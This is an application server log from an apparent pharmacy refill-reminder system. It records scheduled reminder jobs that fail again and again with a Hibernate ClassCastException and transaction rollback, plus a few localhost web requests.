2024-02-24 23:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-24 23:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-24 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-24 23:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-24 23:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-24 23:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-24 23:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-24 23:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-24 23:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-24 23:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-24 23:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-24 23:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-24 23:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-24 23:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-24 23:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-24 23:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-24 23:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-24 23:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-24 23:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-24 23:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-24 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-24 23:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-24 23:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-24 23:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-24 23:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-24 23:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:23:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:23:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:23:10 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-24 23:23:10 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-24 23:23:10 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-24 23:23:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:23:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:23:10 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-24 23:23:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:23:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:23:45 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-24 23:23:45 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-24 23:23:45 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-24 23:23:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:23:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:23:45 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/robots.txt 2024-02-24 23:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-24 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-24 23:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-24 23:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at 